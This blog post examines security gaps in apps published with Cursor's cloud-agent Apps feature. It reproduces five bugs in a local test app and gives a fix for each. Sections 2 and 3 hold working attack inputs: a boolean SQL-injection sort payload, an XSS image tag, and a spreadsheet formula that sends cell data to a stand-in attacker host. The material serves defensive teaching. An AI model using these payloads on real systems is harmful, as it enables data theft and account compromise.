Cursor's November 5 release lets a cloud agent build a web app, create a Postgres database, put it behind sign-in and hand back a live link. Its publish step runs security checks and refuses to deploy until they pass. A green result there tells you the app has no pasted secrets and survived an AI review of its files. It tells you much less about whether one teammate can read another teammate's records.
That gap matters more now, because the people publishing these apps may never have written an access rule. Cursor's changelog says anyone in an org can now build tools for their work, and that people across sales, operations, legal and finance at Cursor already do. This post covers what the feature does according to Cursor's docs, then walks through five bugs reproduced in a small local app, with the output and the fix for each. Nothing here is a test of Cursor's reviewer, and that limit is explained below.
What Cursor shipped
You start a cloud agent and say plainly that you want an app. The Apps docs say the feature isn't supported locally, so the cloud agent is required. It can start from scratch in a new Cursor Origin repository, or deploy an existing GitHub repository. GitLab and other Git hosts are listed as coming soon.
Cursor then provides four things:
- Hosting in a dedicated account it creates for your team or for you, isolated from other customers.
- A Postgres database when the app needs one.
- Cursor sign-in in front of private and team apps.
- A secrets prompt when the app connects to your own systems. The docs say the agent never sees the values.
Apps are available on all paid plans with access to cloud agents. There are three visibility levels: invited people, your whole team, or public. Public apps need no sign-in at all. Public sharing is off by default on Teams and Enterprise until an admin turns it on, while individual plans can share publicly.
What the publish check covers
Four deterministic rules run before every publish, even when the AI review is switched off:
| Check | What it does |
|---|---|
| Secrets in app files | Stops the publish if a file contains an API key or access token |
| Credential files | Stops the publish for private keys, service account keys or files with auth tokens |
| .env files | Leaves them out of what ships |
| Source maps | Removes them so visitors can't read the original source |
On top of that, an AI security review reads the app's files and blocks serious issues. Team admins can add instructions to its prompt but can't remove the built-in checks. Admins can also approve a publish the review blocked, except for malicious code, hardcoded secrets or exposed credentials.
All four deterministic rules look at files and strings that should never ship. They are useful, and they can't judge behavior. A missing ownership check contains no secret, so those rules have nothing to find. That leaves the AI review as the only automated reader of your logic, and the docs don't list what it finds or misses.
The test app and its limits
To make this concrete, here is a small Node server backed by PGlite, which is Postgres compiled to WebAssembly. It has a ticket tracker and a signup list, modeled on two of the sample prompts in Cursor's docs: a team bug tracker and a dashboard you can filter by plan. A stand-in gateway passes the signed-in user as a request header. The app was run on a local port and contains no keys, no credential files, no .env file and no source maps.
Three limits apply. This code was written by hand to contain these bugs, so it says nothing about how often Cursor's agent writes them. It never ran on Cursor, so the AI review might flag some or all of it. The timings come from a loopback connection and don't predict production. Treat each section as a test to run against your own app.
1. Signed in doesn't mean allowed
Cursor's sign-in decides who can open the app. Inside the app, each record still needs its own rule. Here is the kind of route that passes a demo:
const r = await db.query(
'select * from tickets where id=$1', [id]);
The query is parameterized and looks clean. Alice is signed in, so she gets through the gateway and asks for ticket 2, which belongs to Bob:
anon GET /tickets/2 302
alice reads bob ticket 200 {"id":2,"owner":"bob@acme.test","title":"Payroll error"...
alice closes bob ticket 200
A team-wide link means everyone on the team can walk the ID numbers. The fix is one extra condition on every read and every write:
const r = await db.query(
'select * from tickets where id=$1 and owner=$2',
[id, me.email]);
Both of Alice's requests now return 404. Real apps have managers and shared queues, so your rule will be longer than this, but it has to live in the query or just above it, on every route.
There is a question to ask here too. The Apps docs page doesn't describe how an app reads the current user. Ask the agent to show you the exact line, and confirm the value comes from the platform and can't be set by the browser. If it comes from a query string, a form field or a header the client controls, anyone can claim to be Bob.
2. The sort column can read your whole database
"A table I can filter by plan" is one of Cursor's sample prompts. SQL parameters can bind values but can't bind column names, so sorting is a common place for string building to slip back in:
`select name,plan from signups
where plan=$1 order by ${sort}`
The plan filter is safe. The sort value goes straight into the SQL. A signed-in user can send an expression there that changes the row order depending on a true or false question:
?plan=pro&sort=(case when (<question>) then id else -id end)
Ben on top means yes, and Cy on top means no. That's one bit per request, and it's enough to read data the page never displays:
leaked first char of other table: Z after 26 requests
rebuilt email via sort param: ana@x.test
The endpoint only ever returns name and plan. The test still recovered a full email address from the same table, plus the first character of a value in a separate table the route never touches. Reading more of it only takes more requests. A dashboard that connects to your warehouse with broad credentials would carry the same risk into that warehouse.
Map allowed sort names to fixed SQL instead:
const SORT = { name: 'name', plan: 'plan',
newest: 'created_at desc' };
const o = SORT[sort];
if (!o) return send(400, { error: 'bad sort' });
With that in place the same attack returns 400, and normal sorting still works.
3. A public form writes into a page your team trusts
Another sample prompt builds a launch microsite with a sign-up form. A public form accepts text from anyone, and that text later shows up somewhere with more privilege. The test submitted two names:
<img src=x onerror=alert(1)>
=HYPERLINK("http://evil.test/?x="&A1,"click")
The first landed in the admin list as a live HTML tag, because the list was built with string concatenation. Whoever opens that page runs the attacker's script with their session. The second went into the CSV export unchanged:
=HYPERLINK("http://evil.test/?x="&A1,"click"),e@x.test
Open that file in a spreadsheet and the cell can become a formula. Prefixing a leading =, +, - or @ with an apostrophe and quoting the cell made the export safe:
"'=HYPERLINK(""http://evil.test/?x=""&A1,""click"")","e@x.test"
Escaping the name on the way into HTML closed the first one. If your agent uses a framework that escapes by default, this is mostly handled until someone uses a raw HTML helper to render a formatted note.
4. Nothing limits a public endpoint unless you ask
The form had no rate limit and no duplicate check. Five hundred concurrent requests with the same email produced this:
rows for same@x.test: 500 in 630 ms
A duplicate check in the insert brought that to 1 row, and in production a unique index on the column is the safer form because it also holds under concurrent writes. Basic validation returned 400 for a value with no valid email shape. The Apps docs don't mention rate limiting, so check it on your own app before you post the link anywhere public. The risk here is a polluted list, a filled database and, if the form sends a welcome email, a mail bill and a damaged sender reputation.
5. API keys are not people
Cursor lets scripts, CI jobs and bots reach private apps by sending a key in the x-cursor-app-token header. The docs say key requests are marked as automated and identify the key, never a person. Personal keys open the apps their owner can open. Team keys open only the team apps they were given.
Code written with a human in mind can fail without any error here. In the test app, a request with a key closed a ticket and left this audit row:
{"ticket":"3","changed":1}
The change happened and the record of who did it is empty. With the ownership rule from section 1 in place, the same request returned 404 because a key owns nothing. Decide on purpose what automation may do, log the key identifier, and give writes from keys their own explicit path.
The header has one more consequence for anyone building a mobile app. Private apps sit behind sign-in that automated tools can't pass, so it's tempting to use a personal key from an iOS client to call one as a quick backend. Don't. Anything compiled into an app can be pulled out of the binary, and a personal key opens every app its owner can open. If an iOS app needs a backend, that backend needs real per-user auth of its own, which is the same work a Cursor app's team sign-in doesn't do for you.
What to pick for each kind of app
| App | Visibility | Before you share |
|---|---|---|
| Read-only dashboard, non-sensitive data | Team | Check sort and filter inputs, use a read-only database account |
| Team tool where people edit shared records | Invited people or team | Two-account test on every route, plus audit logging |
| Anything with pay, HR, legal or customer data | Invited people | Human code review, then a named owner |
| Public microsite with a form | Public | Rate limit, validation, a privacy notice, escaped admin views |
| Backend for a shipped mobile app | Use something else | Needs per-user auth, versioning and a support plan |
Questions the docs page leaves open
The Apps page explains how to get an app live. It doesn't say how backups work, how to export the Postgres data, what happens when the creator leaves the team, or how hosting is billed. Those answers may exist elsewhere or arrive later, so get them before a team depends on an app.
The terms at the bottom of the page deserve a read as well. Cursor says hosting is provided as is and separate from its services, and that an app may be removed for reasons that include business, financial or legal ones. That's normal language for a new product, and it's a good reason to keep important data somewhere you can export.
The agent itself has its own rules. Cursor's cloud agent docs say the agent auto-runs terminal commands, has internet access by default, and that conversation history is kept indefinitely by default. They also warn that auto-running carries a data exfiltration risk through prompt injection. Keep real customer records out of your prompts, and if the app works with sensitive systems, consider the allowlist network modes for that environment.
A short check before you share the link
- Open the app in two browser profiles with two real accounts. Create a record as A. As B, open its URL, then repeat with the edit and delete actions. A 200 on someone else's private record is a failure.
- Open the browser's network tab, find each API call and change the ID in it. Page buttons can hide a route that the server still allows.
- Ask the agent to list every database query that uses user input and name the access rule on each. Read the answer against the code.
- Search the repo for string-built SQL and raw HTML:
A match isn't proof of a bug, and a clean result isn't proof of safety. It tells you where to read first.rg -n -i 'order by \$\{|limit \$\{|dangerouslySetInnerHTML|innerHTML' . - Put the sort attack and a
'character into every filter and search box. A 500 error is worth a look. - Submit the two test names from section 3 through every form, then view them in the admin page and open the CSV export.
- Confirm that a request with no session gets a redirect to sign-in instead of data:
curl -s -o /dev/null -w "%{http_code}\n" https://<your-app-url>/<a-private-path> - Check that database credentials for connected systems are read-only unless the app must write, and limited to the tables it needs.
- Write down who owns the app, what data it holds and when to delete it. Admins can see every app and secret, so they can use that list to review what exists.
For step 3, this prompt gives the agent a narrower job than a general security review:
List every route in this app. For each one, show:
1. who may call it and the exact line that enforces that
2. which records it can read or change
3. every value from the request used in SQL or HTML
Assume two signed-in users on the same team who must
not see each other's records. Do not change code yet.
Mark any route where you can't point to an enforcing line.
If you administer a team, use the review instructions Cursor gives you. Add a rule that any route reading a record by ID must show an ownership or role check, and that sort and column names must come from an allowlist. Those instructions can add to the review without removing Cursor's built-in checks. Admins can also keep public apps off and decide whether API keys may open apps at all, and the changes are recorded in the audit log.
The feature does solve the problem Cursor names, that most tools people build never leave localhost. A read-only dashboard is a sensible first app. Anything that writes shared data or holds private records still needs a person to check who can reach what.
If you do that kind of review in Claude Code, Ship It Solo: The Claude Code Agent Team Kit is a pre-wired four-agent pipeline for it. It includes a reviewer agent that runs an adversarial pass on a diff against a spec, plus a guard hook that blocks writes containing obvious keys and tokens. It needs Claude Code to run and doesn't replace human review.

Comments